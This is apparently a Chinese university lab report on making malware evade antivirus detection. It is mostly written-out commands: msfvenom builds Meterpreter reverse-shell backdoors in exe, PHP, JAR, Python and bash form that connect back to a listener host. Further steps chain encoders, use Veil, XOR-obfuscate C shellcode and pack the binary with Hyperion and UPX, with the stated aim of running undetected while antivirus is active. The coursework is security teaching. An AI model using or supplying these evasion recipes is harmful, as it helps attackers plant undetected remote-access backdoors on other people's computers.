实践目标
- 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
- 通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。 - 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
初始的后门程序 first_backdoor_none.exe
# 使用msf生成一个初始后门程序,没有免杀步骤。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.200 LPORT=2303 -f exe > first20212303_backdoor_none.exe
# first20212303_backdoor_none.exe为我们的后门程序,
#接下来将该文件上传到VirusTotal中,查看文件检杀率
如上图,初始的后门程序的检杀率高达 57/72
免杀尝试1:多次编码 second20212303_backdoor_encode.exe
参考Msfvenom命令总结大全,使用 -e 结合 -i 尝试降低检杀率。
# 编译10次,ip、端口均不变
msfvenom -p windows/meterpreter/reverse_tcp -e cmd/powershell_base64 -i 10 LHOST=192.168.72.200 LPORT=2303 -f exe > second20212303_backdoor_encode.exe # 这里使用了cmd/powershell_base64编码10次
# 接下来将该文件上传到VirusTotal中,查看文件检杀率
尽管使用Msfvenom生成Payload时加入了多次编码选项(-e),这通常可以帮助绕过一些简单的检测,但并不总是有效。原因:
-
特征检测:安全软件可能不仅仅是检测文件的签名或特定字符串,还可能检测文件的行为、操作代码等特征。即使对Payload进行了多次编码,但生成的文件仍可能保留一些特定的行为或操作代码,从而被检测到。
-
启发式检测:有些安全软件采用启发式分析技术,通过对文件进行模拟执行或动态分析,来识别可能的恶意行为。即使Payload已经被编码多次,但在动态分析过程中,仍然可能被检测到。
-
行为检测:安全软件可能监视系统中正在执行的程序的行为。如果程序的行为被认为是可疑或恶意的,即使文件本身没有被检测到,也有可能被阻止或报警。
-
文件大小:多次编码可能会导致文件变得较大,这可能会引起某些安全软件的怀疑。某些安全软件会对文件的大小进行检查,并根据大小来确定是否进行深入分析。
-
多次编码不足够混淆:尽管使用多次编码可以增加Payload的复杂性,但某些检测技术可能仍然能够识别并解码Payload。可能需要更复杂的技术来混淆Payload,例如定制编码器或加密算法。
免杀尝试2:嵌套多种编码方式 third20212303_backdoor_mixencode.exe
嵌套多种编码方式是一种通过多次编码恶意代码来混淆和增加其复杂性的免杀方法。通过采用多种编码技术,可以使恶意代码更难以被传统的检测方法所识别和阻止。以下是这种方法的一些优势和分析:
-
混淆特征码:多次编码可以使恶意代码的特征码变得更加复杂和混乱,从而使传统的特征检测方法更难以识别。因为每一次编码都会改变代码的结构和形式,使得检测器难以从编码后的文件中提取出准确的特征码。
-
增加复杂性:多种编码方式的嵌套使用增加了恶意代码的复杂性,使得检测器需要更多的计算资源和时间来解码和分析。这增加了检测器对恶意代码的分析难度,提高了免杀成功的可能性。
-
破坏模式识别:通过不断改变编码方式,可以破坏检测器的模式识别能力。传统的检测方法通常会依赖于已知的模式或规则来检测恶意代码,但多次编码会使这些模式变得不可靠,从而提高了免杀成功的概率。
-
增加检测成本:由于多次编码增加了检测器的分析复杂性,使得对恶意代码进行检测和分析所需的成本和时间增加。这使得恶意代码更容易通过安全检测,从而增加了攻击者的成功几率。
# 多重编译,分别使用了x86/shikata_ga_nai、x86/alpha_upper、cmd/powershell_base64、x86/xor、x86/countdown编码器进行编码
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.72.200 LPORT=2303 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -f raw | msfvenom -a x86 --platform windows -e x86/xor -f raw | msfvenom -a x86 --platform windows -e x86/countdown -f exe > third20212303_backdoor_mixencode.exe
# 接下来将该文件上传到VirusTotal中,查看文件检杀率
免杀尝试3:生成其他格式文件(php、py、jar等)
# PHP文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.72.200 LPORT=2303 -f raw> fourth2303_bd.php
# jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.72.200 LPORT=2303 -f jar > fourth2303_bd.jar
# python文件
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.72.200 LPORT=2303 -f py > fourth2303_bd.py
# bash文件
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.72.200 LPORT=2303 -f raw > fourth2303_bd.sh
jar
sh
py
php
免杀尝试4:使用软件降低检杀率 fifth20212303_backroom_veil.bat
# 安装免杀软件Veil
sudo apt-get install libncurses5*
sudo apt-get install libavutil55* # 已安装
sudo apt-get install gcc-mingw-w64*
经过上述操作后,Veil安装成功,如上图。
进入veil后,输入use evasion
这里进入命令行后,输入list可以查看支持的载荷,因为实验要求我们使用的是Windows下的后门程序,因此我们使用载荷:powershell/meterpreter/rev_tcp.py
检杀率下降
免杀尝试5: 使用C+shellcode编程,注入Shellcode并执行 sixth_backroom_shellcode.exe
首先需要使用msf生成一段C语言的shellcode代码;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.200 LPORT=2303 -f c > 2303shellcode.c
# 生成一段内含shellcode的C文件,但C文件中仅有一个字符空数组
i686-w64-mingw32-gcc 2303shellcode.c -o sixth20212303_backroom_shellcode.exe
# 最后文件名为sixth_backroom_shellcode.exe
实践二 通过组合应用技术实现恶意代码免杀
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.72.200 LPORT=2303 -f c > 20212303shellcode_rox.c
# 二十次编码,encoder为x86/shikata_ga_nai
# 下面这部分加入到main函数中,先将之前生成的shellcode异或一次,更新buf数组,接下来运行再异或一次达到两次异或得到源shellcode的目的
int i;
for (i = 0; i < sizeof(buf); i++){
buf[i] ^= 0x01;
}
# 编译为exe文件
i686-w64-mingw32-gcc 20212303shellcode_rox.c -o final_backroom.exe
# 加密壳
wine /usr/share/windows-resources/hyperion/hyperion.exe -v final_backroom.exe final_backroom_jiami.exe
# 加密壳效果并不好,因此再加一层压缩壳
upx final_backroom_jiami.exe -o final_backroom_yasuo.exe
采用二次异或技术对shellcode进行加密,以混淆特征码以提高免杀成功率。随后对shellcode进行手动加密,主要采用异或加密算法,也可考虑其他加密方式,但异或算法由于其便捷性和快速性而备受青睐。在加密过程中,采用多次编码的方式,通过多种编码技术的嵌套使用,增加恶意代码的复杂性,使传统检测方法难以识别。最终,对加密后的shellcode进行壳化处理,以增加检测的难度,但需要注意部分杀毒软件可能会具有壳的特征码,因此该步骤可能不能有效地降低检测率。
问题及解决方法
问题一:vile工具无法下载
sudo apt-get install libncurses5*
sudo apt-get install libavutil55* # 已安装
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32 注
sudo apt-get install veil-evasion # 安装veil
ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (/var/lib/veil/wine//drive_c/Ruby187/bin/ruby.exe). Run: /usr/share/veil/config/setup.sh --force --silent
# 运行下一步骤
/usr/share/veil/config/setup.sh --force --silent
Failed to run (wine) Python pip pefile... Exit code: 1
Failed to install (Wine) Ruby.exe... Exit code: 1
Failed to run (wine) Ruby OCRA.. Exit code: 49
vim /usr/share/veil/config/setup.sh # 在代码中找到克隆仓库的指令
# git clone https://github.com/Veil-Framework/VeilDependencies.git
# 更换源为:https://gitee.com/githubren/VeilDependencies.git
问题二:加壳压缩对检杀率并没有显著下降效果
问题分析:这里我也看了一些同学也提出过这个问题,我认为壳仅仅为了压缩,没有反调试功能和其他功能,甚至只要找到程序入口点就可以脱壳了,以实现在内存中完全还原,这样杀毒软件就可以同样在内存中查到完整的本体代码了,因此加壳导致我们的效果并没有显著下降。
加壳压缩是一种常见的免杀技术,其原理是通过对恶意软件进行加壳(加密)和压缩,以使其在传统的检测引擎中难以被检测到。然而,并不是所有的加壳压缩技术都能有效地降低检测率,其原因可能包括以下几点:
-
签名检测和行为分析: 某些安全软件不仅仅依赖于恶意软件的静态特征(如文件哈希),还会对其行为进行分析。即使加壳压缩后的文件能够避开静态特征的检测,但其行为可能仍然会被动态检测引擎所识别,从而导致检测率并不明显地下降。
-
启发式检测: 一些安全软件采用启发式技术来检测未知的恶意软件,而不仅仅是依赖于已知的特征库。在这种情况下,加壳压缩可能不足以欺骗检测引擎,因为它们能够通过模式识别和行为分析来发现异常或可疑的活动。
-
逆向工程和特征提取: 虽然加壳和压缩可以使恶意软件的二进制代码更难以被分析,但逆向工程仍然可能揭示其真实的行为和特征。安全研究人员经常使用逆向工程技术来解开加壳和压缩,以提取其中的恶意特征,然后更新安全软件的特征库,使其能够识别相似的恶意软件。
-
基于机器学习的检测技术: 现代安全软件越来越多地采用基于机器学习的检测技术,这些技术能够从大量的数据中学习并发现恶意软件的模式和特征。即使加壳和压缩可以绕过传统的特征匹配检测,但它们仍然可能留下足够的线索,被机器学习算法所识别。
虽然加壳压缩可以作为一种免杀手段,但并不是绝对有效的,而且其效果受到多种因素的影响。在实际应用中,应该结合多种免杀技术,包括加壳压缩、代码混淆、虚拟机保护等,以增加恶意软件逃避检测的难度。